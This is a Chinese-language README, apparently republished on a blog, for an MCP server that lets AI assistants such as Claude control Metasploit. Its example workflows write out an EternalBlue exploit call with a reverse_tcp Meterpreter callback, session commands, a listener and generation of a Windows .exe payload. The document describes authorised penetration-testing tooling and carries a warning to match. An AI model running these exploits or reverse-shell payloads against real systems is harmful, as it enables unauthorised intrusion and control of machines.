Metasploit MCP Server
一个用于 Metasploit Framework 集成的模型上下文协议(Model Context Protocol, MCP)服务器。
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
项目描述
该 MCP 服务器为大型语言模型(如 Claude)与 Metasploit Framework 渗透测试平台之间搭建了一座桥梁。它允许 AI 助手通过标准化工具动态访问和控制 Metasploit 的功能,从而为复杂的安全测试工作流提供自然语言接口。
功能特性
模块信息
- list_exploits: 搜索并列出可用的 Metasploit 漏洞利用模块
- list_payloads: 搜索并列出可用的 Metasploit 载荷模块,支持按平台和架构进行过滤
漏洞利用工作流
- run_exploit: 配置并针对目标执行漏洞利用,支持先运行检查
- run_auxiliary_module: 使用自定义选项运行任何 Metasploit 辅助模块
- run_post_module: 针对现有会话执行后渗透模块
载荷生成
- generate_payload: 使用 Metasploit RPC 生成载荷文件(文件保存在本地)
会话管理
- list_active_sessions: 显示当前 Metasploit 会话及其详细信息
- send_session_command: 在活动的 shell 或 Meterpreter 会话中运行命令
- terminate_session: 强制终止活动会话
监听器管理
- list_listeners: 显示所有活动的监听器和后台任务
- start_listener: 创建新的 multi/handler 以接收连接
- stop_job: 终止任何正在运行的任务或监听器
环境要求
- 已安装 Metasploit Framework 并运行
msfrpcd
- Python 3.10 或更高版本
- 所需的 Python 包(参见
requirements.txt
)
安装步骤
- 克隆本仓库
- 安装依赖:
- 配置环境变量(可选):
使用方法
启动 Metasploit RPC 服务:
传输选项
服务器支持两种传输方式:
- HTTP/SSE (Server-Sent Events): 默认模式,适用于大多数 MCP 客户端
- STDIO (Standard Input/Output): 用于 Claude Desktop 等直接管道连接
可以通过
--transport
标志显式选择传输模式:HTTP 模式的额外选项:
Claude Desktop 集成
为 Claude Desktop 集成配置
claude_desktop_config.json
:其他 MCP 客户端
对于使用 HTTP/SSE 的其他 MCP 客户端:
- 以 HTTP 模式启动服务器:
- 配置您的 MCP 客户端连接到:
- SSE 端点:
http://your-server-ip:8085/sse
安全注意事项
⚠️ 重要安全警告:
该工具提供了对 Metasploit Framework 功能的直接访问,其中包括强大的漏洞利用功能。请负责任地使用,并仅在您有明确权限进行安全测试的环境中操作。
- 始终在执行前验证和审查所有命令
- 仅在隔离的测试环境或获得适当授权的情况下运行
- 注意后渗透命令可能导致系统发生重大修改
示例工作流
基本漏洞利用
- 列出可用漏洞利用模块:
list_exploits("ms17_010")
- 选择并运行漏洞利用:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
- 列出会话:
list_active_sessions()
- 运行命令:
send_session_command(1, "whoami")
后渗透
- 运行后渗透模块:
run_post_module("windows/gather/enum_logged_on_users", 1)
- 发送自定义命令:
send_session_command(1, "sysinfo")
- 完成后终止会话:
terminate_session(1)
监听器管理
- 启动监听器:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
- 列出活动监听器:
list_listeners()
- 生成载荷:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
- 停止监听器:
stop_job(1)
配置选项
载荷保存目录
默认情况下,使用
generate_payload
生成的载荷会保存到主目录下的 payloads
文件夹中(~/payloads
或 C:\Users\YourUsername\payloads
)。您可以通过设置 PAYLOAD_SAVE_DIR
环境变量自定义保存路径。设置环境变量:
- Windows (PowerShell):
- Windows (Command Prompt):
- Linux/macOS:
- 在 Claude Desktop 配置中:
注意: 如果指定了自定义路径,请确保路径存在或应用程序有权限创建该路径。如果路径无效,载荷生成可能会失败。
许可证
Apache 2.0
- Author:waytomcp
- URL:https://www.waytomcp.com/article/GH05TCREW/MetasploitMCP
- Copyright:All articles in this blog, except for special statements, adopt BY-NC-SA agreement. Please indicate the source!